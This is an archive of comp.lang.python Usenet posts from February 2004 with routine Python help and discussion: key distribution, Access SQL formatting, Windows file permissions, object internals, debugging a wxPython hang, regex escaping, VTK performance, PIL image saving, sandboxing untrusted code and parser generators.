	<47e891f1.0402280120.675e2987@posting.google.com>
	<7xhdxbsg10.fsf@ruckus.brouhaha.com>
	<47e891f1.0402281009.766ef484@posting.google.com>
Message-ID: <7xd67zatic.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> > Where do you get the fingerprint?
> 
> Through the same channel that you used to acquire the email address.

Well, no.  That channel doesn't have to be secure.  If you think it's
secure, you may as well use it for secret keys.  Aha you say, it only
has to be secure against tampering, not mere eavesdropping.  But if
you've got a definite way to secure it against tampering, you may as
well also secure it against eavesdropping.

> Put it this way: If you acquire someone's address through a secure
> channel, then you can use that same channel for fingerprint
> distribution.  If you acquired their address through an *insecure*
> channel, then there's no point in using a PKI-provided (address,
> public key) binding, since the address could be bogus.

Yes, but if the address is bogus and the public key is good, then
someone intercepting the encrypted traffic can't read it.  That's the
whole point of encryption.  Also, routing to the address is done by
mechanisms outside the recipient's control.  You could get the address
through a secure channel, only to have someone hijack the address the
next day.

> Here's some good writings about this approach:
> http://trevp.net/cryptoID/cryptoID.html

This paper begins

    Abstract: In this paper, we argue that person-to-person key
    distribution is best accomplished with a key-centric approach,

However the idea of certificates is to do away with the need for
person-to-person key distribution.  

> http://www.waterken.com/dev/YURL/
> http://zooko.com/distnames.html

I'm presuming these are along similar lines as the first.

> > Yes, but each of the N people needs to authenticate N-1 of those
> > fingerprints somehow, so that's O(N**2) authentication operations.
> 
> But you need to do O(N**2) address exchanges in any case, so you can
> just piggyback key distribution on those.

The addresses can be unauthenticated and are much easier to accomplish.

> > I don't know about going berserk writing ASN1 parsers and that whole
> > bit, but there really should be some way to do basic cert checking.
> 
> I'll try to provide an interface for cryptlib and openssl's cert
> checking.  So if you have those libraries you can use it, but it won't
> be in pure python.

Cool, thanks.


From andymac at bullseye.apana.org.au  Fri Feb  6 06:28:19 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 6 Feb 2004 22:28:19 +1100 (EST)
Subject: Microsoft Access datatype mismatch error
In-Reply-To: <Law9-F72hphxivGHBox0002b8be@hotmail.com>
References: <Law9-F72hphxivGHBox0002b8be@hotmail.com>
Message-ID: <20040206222637.P50689@bullseye.apana.org.au>

On Thu, 5 Feb 2004, Steve Briley wrote:

> >>>rs3 = db.OpenRecordset("select * from work where ID = 3 ")

{...}

> >>>rs3 = db.OpenRecordset("select * from work where ID = '%i'" %(idnum))

You're doing excessive quoting in this case; try

>>>rs3 = db.OpenRecordset("select * from work where ID = %d" %(idnum))

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From timr at probo.com  Mon Feb  2 02:45:34 2004
From: timr at probo.com (Tim Roberts)
Date: Sun, 01 Feb 2004 23:45:34 -0800
Subject: Interactive Shell?
References: <20040201215942.28384.00001169@mb-m15.aol.com>
Message-ID: <6mvr109ot2sfort5hetit7b6sfsod40b4u@4ax.com>

tuglyraisin at aol.commcast (Andrew Burton) wrote:
>
>Which is the best was to use Python: from the interactive shell, as a scripting
>language, or as the Python.h library with C? Is the interactive shell there for
>anything beyond prototyping code?

Call me bizarre, but I use the interactive shell as a very powerful desk
calculator, and I often use it on Windows for file and directory
management.  It's easy to convert a file from Unicode to UTF-8 with just a
few lines of code.  One line, if I'm feeling studly.

There's yet a fourth usage model, if you will: using Pythonwin or IDLE.
Here, you have the benefit of an interactive prompt PLUS a syntax-based
editor.  I find it very productive to edit a file in Pythonwin while trying
out mini-test cases or exploring standard library routines in the built-in
shell.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From claird at lairds.com  Wed Feb 25 17:58:43 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 25 Feb 2004 22:58:43 -0000
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
 compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
Message-ID: <103qa53tajuhfdb@corp.supernews.com>

In article <c1h1sb$1it26i$1 at ID-169208.news.uni-berlin.de>,
Greg Ewing (using news.cis.dfn.de) <wmwd2zz02 at sneakemail.com> wrote:
			.
		[much good counsel]
			.
			.
>Ruby code is liberally sprinkled with @-signs, which tends to
>make it look slightly Perl-ish. But again that's a surface
>issue, and Ruby is really no more like Perl than Python is.
			.
			.
			.
While I'm all in favor of distinguishing superficial from
fundamental characteristics, I think the last sentence 
above is misleading.  Ruby is a direct descendant from 
Perl, I'm sure; I thought I had the word from Matz himself
that he deliberately modeled a great deal of Ruby on Perl
(and Smalltalk, of course).  Although I can't find the
passage now, I'm confident enough to repeat it here.  If
necessary, I expect we can confirm the language's parentage.

If you're saying that good Ruby style often differs from 
good Perl 5 style, I heartily agree.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From jcarlson at nospam.uci.edu  Sun Feb 29 12:33:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 09:33:17 -0800
Subject: file() and Win32 security attributes
In-Reply-To: <403e2bfd.9144015@news.t-online.de>
References: <403e2bfd.9144015@news.t-online.de>
Message-ID: <c1t7u0$jsr$1@news.service.uci.edu>

Gerson Kurz wrote:
> Hi all, a quick question: how can I force file() to create files that
> have "ALL ACCESS FOR EVERYONE" security attributes? Other than by a
> major rewrite of my existing code modules replacing the existing
> "native-python" code by win32file / win32security calls? 
> 
> In case you're wondering what is happening here: 
> 
> - user A with admin rights logs on to NT and uses python to create a
> file
> - user A logs off
> - user B without admin rights logs on to NT and uses python to access
> said file -> doesn't work, because B has no admin rights and cannot
> access files created by an administrator.
> 
> Most feasible solution is AAFE, because a more finegrained ACL is a
> nightmare to maintain :) 

If you have win2k, install xcacls:
http://www.microsoft.com/windows2000/techinfo/reskit/tools/existing/xcacls-o.asp

I believe XP and 2003 have it by default.

Play around with the command line version until you have it do what you 
want, then perhaps subclass file, and insert permission alteration just 
after closing.

  - Josiah


From amichail at cse.unsw.edu.au  Thu Feb 26 23:37:15 2004
From: amichail at cse.unsw.edu.au (Amir Michail)
Date: 26 Feb 2004 20:37:15 -0800
Subject: Learn/Discuss Python in an Open Course @ UNSW
Message-ID: <1010a26.0402262037.370a84c8@posting.google.com>

You can now participate in discussions with UNSW students who are
learning python here:

http://www.cse.unsw.edu.au/~cs3141/

Everyone is welcome, from those who know nothing about python to
experts.

You can find the other topics in this open course here:

http://www.cse.unsw.edu.au/~cs3141/index.php?module=articles&func=display&ptid=1&aid=1

Amir


From pinard at iro.umontreal.ca  Mon Feb  9 10:07:17 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 9 Feb 2004 10:07:17 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <100qm0soklj3439@news.supernews.com>
References: <930ba99a.0401200413.5fae6fb9@posting.google.com>
	<100qm0soklj3439@news.supernews.com>
Message-ID: <20040209150717.GA5975@titan.progiciels-bpi.ca>

[John Roth]

> If you want to do a little bit of deep magic, a factory function can
> create an instance by calling object(), plug in whatever attributes
> it wants and then change the __class__ attribute to whatever class it
> wants before it returns the newly minted instance. It doesn't have
> to go near anything that resembles a constructor (other than calling
> object() to get a new instance, of course.)

Hello, John, and gang! :-)

How one does that?  I'm merely curious.  Using Python 2.3.3, the result
of `object()' does not have a `__dict__', and seemingly may not be given
a `__dict__' either.  See:


Python 2.3.3 (#1, Jan 24 2004, 09:01:30) 
[GCC 3.3 20030226 (prerelease) (SuSE Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
from __future__ import division
>>> from __future__ import division
>>> o = object()
>>> o.__dict__
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: 'object' object has no attribute '__dict__'
>>> o.__dict__ = {}
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: 'object' object has no attribute '__dict__'
>>> class C(object): pass
... 
>>> o.__class__ = C
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __class__ assignment: only for heap types
>>> 


By the way, what is a "heap type"?

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From nir1408 at hotmail.com  Mon Feb 23 03:42:21 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Mon, 23 Feb 2004 10:42:21 +0200
Subject: need help with bizarre error caught in debugger. execution is
	hanging
References: <vfBZb.57526$1S1.32587@nwrddc01.gnilink.net>
	<4039352a@news.bezeqint.net>
	<2uf_b.66535$1S1.50598@nwrddc01.gnilink.net>
Message-ID: <4039bd0f$1@news.bezeqint.net>

I guess it is a thread synchronization progblem
In that case some other thread modifies self.data leaving it empty in the
time between the if statement expression is evalutaed and the time the
return statement is executed.

Can this be the case?


"omission9" <omission9 at invalid.email.info> wrote in message
news:2uf_b.66535$1S1.50598 at nwrddc01.gnilink.net...
> Ziaran wrote:
> > Why do you do
> >
> > if len(self.data) <= 0:
> >     return len(self.data[0])
> >
> > Isn't that a sure IndexError exception?
> > Maybe you catch it somewhere up the stack and so you keep it silent.
> >
>
> That if statement just happens to be the last line before the return.
> What you have stated is not what actually happens.
> The actual code is
>          if len(self.data) <= 0:
>              return 0
>          else:
>              return len(self.data[0])
> I guess the "else" line doesn't appear in the stack trace for whatever
> reason.
> There is no doubt, however, that it is hanging on the line
> return len(self.data[0])
>
> >
> > "omission9" <omission9 at invalid.email.info> wrote in message
> > news:vfBZb.57526$1S1.32587 at nwrddc01.gnilink.net...
> >
> >>Any advice on the following would be much appreciated. I have thrown
> >>everything I have at it and am completely stumped. I apologize for the
> >>length, I have tried to be as succint as possible.
> >>
> >>I have a pythoncard/wxPython application. The application works well
> >>except that users were reporting occasional crashes. The application
> >>would simply stop and just hang. I was able to reproduce the bug
> >>faithfully and ran the application in the python debugger pdb.py.
> >>The trace is below and I simply cannot understand why it is hanging
> >>where it is. The application gets stuck executing
> >>
> >>return len(self.data[0])
> >>
> >>This works many many times during the applications execution, indeed
> >>several successful runs of this line are visible immediatley above the
> >>hang. I have also printed out the value of self.data. This is a list
> >>containing 12 inner lists each of length 3 at the point of the hang and
> >>is never larger than that.
> >>What on earth could cause this to stop the interpreter cold in its
> >>tracks without an exception being thrown? CPU usage on the machine is
> >>high throughout the application's execution and stays as such after the
> >>"hang" begins. I eventually kill the app although I have let it run for
> >>a long time and it never leaves this line.
> >>For what its worth, I am using python 2.3 on windows2k.
> >>
> >>Anyone have idea what could be happening?
> >>
> >>  c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
> >>  -> return val
> >>  (Pdb) s
> >>  --Return--
> >>   c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
> >>  -> self._setOORInfo(self)
> >>  (Pdb) s
> >>
> >>
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init
> >
> >>  __()
> >>  -> self.data = data
> >>  (Pdb) s
> >>
> >>
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
> >
> >>  __()
> >>  -> self.colLabels = headings
> >>  (Pdb) s
> >>  --Return--
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
> >
> >>  __()->None
> >>  -> self.colLabels = headings
> >>  (Pdb) s
> >>
> >>
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(15)__
> >
> >>  init__()
> >>  -> self.colsizes = colsizes
> >>  (Pdb) s
> >>
> >>
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(16)__
> >
> >>  init__()
> >>  -> self.SetTable(table, True)
> >>  (Pdb) s
> >>  --Call--
> >>  c:\python23\lib\site-packages\wxpython\grid.py(993)SetTable()
> >>  -> def SetTable(self, *_args, **_kwargs):
> >>  (Pdb) s
> >>  > c:\python23\lib\site-packages\wxpython\grid.py(994)SetTable()
> >>  -> val = gridc.wxGrid_SetTable(self, *_args, **_kwargs)
> >>  (Pdb) s
> >>  --Call--
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(27)GetNumb
> > erRows()
> >
> >>  -> def GetNumberRows(self):
> >>  (Pdb) s
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
> > erRows()
> >
> >>  -> return len(self.data)
> >>  (Pdb) s
> >>  --Return--
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
> > erRows()->12
> >
> >>  -> return len(self.data)
> >>  (Pdb) s
> >>  --Call--
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(30)GetNumb
> > erCols()
> >
> >>  -> def GetNumberCols(self):
> >>  (Pdb) s
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(31)GetNumb
> > erCols()
> >
> >>  -> if len(self.data) <= 0:
> >>  (Pdb) s
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
> > erCols()
> >
> >>  -> return len(self.data[0])
> >>  (Pdb) s
> >>--Return--
> >>
> >>
> >>
> >
> >
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
> > erCols()->3
> >
> >>  -> return len(self.data[0])
> >>  (Pdb) s
> >>
> >
> >
> >
>




From cookedm+news at physics.mcmaster.ca  Wed Feb 25 17:28:35 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Wed, 25 Feb 2004 17:28:35 -0500
Subject: Regular Expressions?
References: <mailman.76.1077675361.8594.python-list@python.org>
	<c1hsp5$u7c$01$1@news.t-online.com>
Message-ID: <qnkznb6ssj0.fsf@arbutus.physics.mcmaster.ca>

At some point, "Diez B. Roggisch" <deets_noospaam at web.de> wrote:

>> I want to use a regular expression like the following:
>> 
>> "*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"
>> 
>> where x and y and varaiblae names and their value changes everytime.
>> For some reason this gives me an Invalid Token error. Can I use
>> variables in a regular Expression?
>
> Sure. But what you wrote above is most probably syntactically wrong:
>
> "*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"
>                           ^^ 
> You escape the d'qoutes, so that not the variable is inserted but instead
> the text " + y + ". Then a [ starts, which denotes the beginning of a list
> - a thing not supported right here. The same problem arises before the
> second y.
>
> This works for me:
>
> "*[\s|\w]*" + x +"[\s|\w]*" + y + "*[\s|\w]*" + y + "*[\s|\w]*"
>
> However, I suggest you use the %-operator in such cases:
>
> "*[\s|\w]*%s[\s|\w]*%s*[\s|\w]*%s*[\s|\w]*" % (x, y, y)

I'd suggest using re.escape() to make sure there's no nasty surprises
inside of x and y:

"*[\s|\w]*%s[\s|\w]*%s*[\s|\w]*%s*[\s|\w]*" % (re.escape(x), 
                                               re.escape(y), re.escape(y))

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From danb_83 at yahoo.com  Mon Feb 16 19:49:08 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 16 Feb 2004 16:49:08 -0800
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
Message-ID: <ad052e5c.0402161649.5e629151@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<3OadnQovPKs4nqzdRVn-hQ at comcast.com>...
> "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
> news:wzisi7b9nj.fsf at cs.uu.nl...
> > >>>>> Brian <pythonista_at_sbcglobal_dot_net at invalid.net> (B) wrote:
> > [repr(0.1) is ugly!]
> 
> > Unfortunately most C libraries only use the stupid algorithm which often
> > gives some useless digits.
> 
> They are not useless if you want more accuracy about what you have

Why not display the *exact* decimal representation,
"0.1000000000000000055511151231257827021181583404541015625"?

> and what you will get with further computation.
> Tracking error expansion is an
> important part of designing floating point calculations.

We're talking about human-readable representation, not calculations.


From martin at v.loewis.de  Tue Feb 17 16:44:37 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 17 Feb 2004 22:44:37 +0100
Subject: 2.3 encoding parsing bug
In-Reply-To: <10349ardb7psua3@corp.supernews.com>
References: <10349ardb7psua3@corp.supernews.com>
Message-ID: <40328B45.4030400@v.loewis.de>

Edward K. Ream wrote:

> To make myself perfectly clear: Python has absolutely no right to complain
> about comment lines that do not have the form:
> 
> # -*- coding: <encoding> -*-

It does. Please see

http://www.python.org/doc/current/ref/encodings.html

This is the precise specification; Python looks for a certain regular
expression.

Regards,
Martin



From lubowiecka at go2.pl  Thu Feb  5 01:51:00 2004
From: lubowiecka at go2.pl (Sylwia)
Date: 4 Feb 2004 22:51:00 -0800
Subject: self-extracting installer
References: <mailman.1188.1075890224.12720.python-list@python.org>
Message-ID: <f6554b84.0402042251.699839@posting.google.com>

Hi Pieter and Miki!

Thanks for your replies and help!
How can I avoid the fact that it creates a separate "program" in the
Add/Remove dialog on Windows :( I don't want any of my patches to be placed there.

Best Wishes,

Sylwia


From donn at drizzle.com  Sun Feb  1 23:52:44 2004
From: donn at drizzle.com (Donn Cave)
Date: Mon, 02 Feb 2004 04:52:44 -0000
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
	<711c7390.0402011856.2d26c380@posting.google.com>
Message-ID: <1075697562.512321@yasure>

Quoth LittleDanEhren at yahoo.com (Daniel Ehrenberg):
...
| In your advocacy of Lisp over Forth (something completely unrelated to
| this thread and newsgroup),

My what?

| ... you miss the major selling point of object
| orientation: encapsulation. If you had barks(Dog) instead of
| Dog.bark() (I'm using Python not Io syntax for now), bark() is
| accessible to everyone, not just Dogs. So I could write bark(Cat),
| which shouldn't work.

You're not only using Python syntax, you're using its rules
for function namespaces, and that wasn't exactly what I had
in mind.

In Python, we know that obj.fun() looks for fun in obj, and we
know the reverse is generally true - to invoke fun in obj, we
write obj.fun().  But there are functions like repr or "+" that
end up deferring to their parameters' member functions.  When we
write str(obj) instead of obj.str(), we're hopefully not kidding
ourselves that there's some profound distinction between these two
notations.  Still less in a hypothetical language whose syntax
is different.

There are plenty of cases in anyone's Python code where a plain
function could have been a method of its parameter, or vice versa,
flip a coin.  Why do I have to go through all my code and change
flip(coin) to coin.flip(), or vice versa?  It's an implementation
detail that no one but the implementor should have to care about.

	Donn Cave, donn at drizzle.com


From shivermetimbers15 at yahoo.com  Tue Feb 17 14:24:34 2004
From: shivermetimbers15 at yahoo.com (shivermetimbers15)
Date: 17 Feb 2004 11:24:34 -0800
Subject: How do make a function that creates a sequence of n random numbers?
Message-ID: <8e3e8c6c.0402171124.1183350c@posting.google.com>

I'm new to Python, as you can tell, and I'm interested in how to do this.


From peter at engcorp.com  Tue Feb 10 16:33:34 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 16:33:34 -0500
Subject: Lots of Actors
References: <mailman.1434.1076446536.12720.python-list@python.org>
Message-ID: <40294E2E.852B63B1@engcorp.com>

Yi-Yu Chou wrote:
> 
> I want to use line segments to display a 3D vector field.
> However, my progrm becomes very slow when displaying this vector field if
> the number of lin segments is very huge. Is there any better method to do
> it ?
> Thanks in advance !!!
> 
> Below is my code :
> line = []
> line_mapper = []
> self.line_actor = []
> for i in range(0, vf_points.num):
>         line.append(vtkLineSource())
>         line[i].SetPoint1(vf_points.x[i],vf_points.y[i],vf_points.z[i])
>         line[i].SetPoint2(vf_points.x[i] + vf.vx[i],vf_points.y[i] +
> vf.vy[i],vf_points.z[i] + vf.vz[i])
>         line_mapper.append(vtkPolyDataMapper())
>         line_mapper[i].SetInput(line[i].GetOutput())
>         self.line_actor.append(vtkActor())
>         self.line_actor[i].SetMapper(line_mapper[i])
>         self.line_actor[i].GetProperty().SetLineWidth(1)
>         self.line_actor[i].GetProperty().SetColor(0,1,1)
>         self.line_actor[i].PickableOff()
>         self.tar_renderer.AddActor(self.line_actor[i])

What makes you think the above code, specifically, is the cause of the
slowness?  It doesn't look to me as though the above code is actually
doing the rendering, but merely setting things up to be rendered.  On
the other hand, without any idea what a tar_renderer is, or anything
else about the code, it's hard to tell.

If the above is really the part that needs to be optimized, and only
profiling or something like that will tell you, you could save at least
a tiny bit of time by binding a local variable to self.line_actor[i] and
using that in subsequent lines in place of the longer form, which 
involves a dictionary lookup (on self) and an index operation repeatedly.

I'd look for more points of concern, but it doesn't seem productive
unless you have evidence that this is really the bottleneck in your
code.

-Peter


From altis at semi-retired.com  Sat Feb  7 16:50:13 2004
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 7 Feb 2004 13:50:13 -0800
Subject: can I use GUI in python
References: <36a4d24c.0402062201.313db3ce@posting.google.com>
Message-ID: <h1dVb.140$Bz.47594@news.uswest.net>

"suhas" <lande_suhas at yahoo.co.in> wrote in message
news:36a4d24c.0402062201.313db3ce at posting.google.com...
> Hi all,
> To give a good look to my project I want to use a GUI ,can python
> language satisfy my requirments for good GUI and good look?
>
> If not,which is the another option for python?

http://www.python.org/cgi-bin/moinmoin/GuiProgramming

ka




From reply.in.the.newsgroup at my.address.is.invalid  Sun Feb  1 17:09:01 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Sun, 01 Feb 2004 23:09:01 +0100
Subject: Threading question
References: <bvjsrs$in1$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <k4uq10dqdrcgdvibnlph7a6rkr5abast6l@4ax.com>

Jos? Carlos:
>How can i do for create a list which it obtain the name or number of client
>when it is  trying to connect with server. i want obtain this list for use
>it with threading

I don't understand this question. How should who get a list of what from
where, and why is this related to threading?

-- 
Ren? Pijlman


From skip at pobox.com  Sat Feb  7 15:26:16 2004
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 7 Feb 2004 14:26:16 -0600
Subject: splitting tables
In-Reply-To: <pan.2004.02.07.20.09.11.437775@no.mail.it>
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
Message-ID: <16421.18920.110452.277599@montanaro.dyndns.org>


    r> The 'split' function works pretty well, except when there is an error in
    r> the original data table. For example if an element is missin in a line,
    r> like this:

    r> CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
    r> CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065

If the data are truly fixed width, just slice the strings:

    >>> s
    'CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065'
    >>> s[0:3], s[4:8], s[9:11], s[12:14], s[15:17], s[18:20], s[21:29], s[30:31]
    ('CGA', '1990', '08', '16', '01', '22', '        ', 'D')

Skip



From ram at forefront-tech.No.Lunch.meat.com  Tue Feb  3 14:39:08 2004
From: ram at forefront-tech.No.Lunch.meat.com (Rick Morrison)
Date: Tue, 03 Feb 2004 19:39:08 GMT
Subject: Python Interface to MySQL 4.1 / 5.0
Message-ID: <wNSTb.3507$or7.3357@newssvr31.news.prodigy.com>

Anyone know of a dBLib compatible interface for Python to MySQL 4.1 / 5.0. ?

The MySQL-python Sourceforge page mentions an upcoming  MySQL-python-2.0.0
that will handle the new MySQL client API, but that notice was posted last
April, and no word of it since then......

TIA,

Rick




From bob at redivi.com  Thu Feb 26 23:03:12 2004
From: bob at redivi.com (Bob Ippolito)
Date: Thu, 26 Feb 2004 23:03:12 -0500
Subject: Running insecure python code
References: <hQq%b.41604$BD3.8026233@juliett.dax.net>
	<mailman.189.1077849062.8594.python-list@python.org>
Message-ID: <2004022623031275249%bob@redivicom>

On 2004-02-26 21:21:37 -0500, "Terry Reedy" <tjreedy at udel.edu> said:

> 
> "Noen" <not.available at na.no> wrote in message
> news:hQq%b.41604$BD3.8026233 at juliett.dax.net...
>> Im developing a game where the players will program their equipment with
>> python. Are there any ways to run insecure code?
> 
> safely, without letting
> 
>  > clients mess with the server-code through their own code, or even DOS
> the box
>> by using up too much memory.
> 
> There have been several threads on this topic.  Quick answer: nothing as
> good as you would want.  Stackless, with its tasklets, may be your best bet
> once updated to run with 2.3.3.

Even with stackless, you're not going to be able to stop them from 
using "too much memory".  Besides, you can't stop a determined and 
experienced python hacker from getting ANYTHING (even if it's written 
in C) ;)

Stackless 3.0 (Python 2.3.3) compiles and works just fine from CVS 
HEAD, and I believe windows binaries are even available.  Of course, 
documentation is lacking, and we're planning to do quite a bit of stuff 
during the sprints next month.. but it's good enough to use if you want 
to.

-bob



From ptmcg at austin.stopthespam_rr.com  Mon Feb  2 23:47:01 2004
From: ptmcg at austin.stopthespam_rr.com (Paul McGuire)
Date: Tue, 03 Feb 2004 04:47:01 GMT
Subject: Produce anti-noise
References: <mailman.1146.1075766535.12720.python-list@python.org>
Message-ID: <9JFTb.6864$QU1.4911@fe2.texas.rr.com>

"Phil Hornby" <phil.hornby at accutest.co.uk> wrote in message
news:mailman.1146.1075766535.12720.python-list at python.org...
> The big problem with this sort of thing is latency - DSPs have a very low
> latency as they are generally designed to do 1 operation per cycle and
their
> sole purpose is to do the signal processing not worry about all the other
> stuff a normal PC has to worry about - i.e. the OS. Most solutions that
run
> on a desktop machine would have a dedicated DSP on a PCI card and would
NOT
> run on your PC's main CPU as it is not a simple processing power
> issue...more a round trip delay issue... and getting through an OS and an
> Interpreted language would most likely be too much delay... It might be
> possible to do it by wrapping a C API to a Commercial DSP system that
would
> allow you to configure the hardware to do what you want...
>
> HTH
>
> --
> Phil
>
> "Requirements - what are they I just hack something together that does
what
> I think they want" ;)
>
> In article <bvmlik$kam$06$1 at news.t-online.com>, Diez B. Roggisch wrote:
> >> I want to know if the is a way to do something in python to produce
> >> some anti-noise (i.e. I talk in the microphone and the sound go out by
> >> the speakers but with inversed phase).
> >>
> >> So I want to know how to control the microphone and to add some sort
> >> of effect to the sound that enter in and to put it out with that
> >> effect and all this at the same time.
> >
> > AFAIK such things need vast amounts of computational power for very
> > complicated algorithms and very low latencies - a job for specialised
DSP
> > code. Its much more complicated than inverting the amplitude (I don't
> think
> > that inverting the phase is possible - AFAIK you can only shift it, and
> > thats not what you want here...)
> >
> > So I seriously doubt that you can do that with python - I even doubt
that
> > you can do it with you computer. Not so much from the raw computational
> > power side of the thing, but much more from your audio-equipment.
> > Professional noise reduction systems costs several thousands of euro and
> > feature lots of speakers, especially designed, chosen and arranged to
> > reflect the acoustic envrionment of _one_ room, e.g. the inside of a
> > certain car. Then specially adapted algorithms come into play.
>
> Hmm.  You can buy a $200 set of bose headphones that do it with a simple
> chip and low power.
> I think a regular PC could do this (so long as you know the equations) by
> brute force.  You'd probably want to
> use signal processing libraries rather than pure Python, though.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>
It turns out that there are a number of EE's out there that are using the
DSPs built into ordinary PC sound cards to do quite a bit of
high-performance signal processing.  This particular link takes you to a
free downloadable real-time software oscilloscope, using the microphone
input as its input signal.

http://www.trueaudio.com/rta_abt1.htm

There is also more on this at
http://www.gnu.org/software/gnuradio/gnuradio.html, or if you Google for
"software radio" and "python", you should find some projects using the sound
card DSP library from Python.

(I know the OP was not talking about radio per se, but I think the signal
processing being done on these projects is pretty amazing, and probably
accessible thru a DLL, and probably more than adequate for the OP's needs
for shifting a signal 180 degrees out of phase.)

-- Paul McGuire





From CousinStanley at hotmail.com  Mon Feb  9 18:05:52 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Mon, 9 Feb 2004 16:05:52 -0700
Subject: PIL always raises "unrecognized image mode" exception with
	putdata()
References: <c9d82136.0402091223.1cdbe50c@posting.google.com>
Message-ID: <c093j2$145o03$1@ID-130333.news.uni-berlin.de>

| ....
| im.save ('target_out.png', 'png')
| ....

Noah ....

  Try the image type in all-caps .... 

   im.save( 'targe_out.png' , 'PNG' )

  Also, you might try the Image save method 
  with just the filename and omit the type argument .... 

   im.save( 'target_out.png' )

  Unless you specify the format, the library 
  uses the filename extension to discover 
  which file storage format to use.

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From ptmcg at users.sourceforge.net  Tue Feb 24 13:55:08 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Tue, 24 Feb 2004 18:55:08 GMT
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<40366383$0$3104$61fed72c@news.rcn.com>
	<1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
	<403b7517$0$3068$61fed72c@news.rcn.com>
Message-ID: <g6N_b.35066$M76.22899@fe2.texas.rr.com>

"Edward C. Jones" <edcjones at erols.com> wrote in message
news:403b7517$0$3068$61fed72c at news.rcn.com...
> Tim Roberts wrote:
> > "Edward C. Jones" <edcjones at erols.com> wrote:
> >
> >>When looking for a parser generator, I think it is important that full
> >>grammars be provided for at least C and Python and preferably for C++,
> >>Java, and FORTRAN.
> >
> >
> > Are you kidding with this?  I can't tell.
> >
> > C, C++, and Fortran are parsing nightmares, where end-of-line and
spacing
> > are important sometimes and ignored at other times, and so on.
> >
> > I expect to find the canonical desk calculator example, and perhaps a
> > Pascal-based language, but any more than that is asking a bit much from
all
> > but the most mature parser generators.
>
> Not kidding. Nothing can be parsed without a grammar. I think parsing
> the standard computer languages is a common need. I am sporatically
> developing software to automatically generate Pyrex code for wrapping C
> libraries in Python. I use ANTLR because it comes with a good C grammar.
>
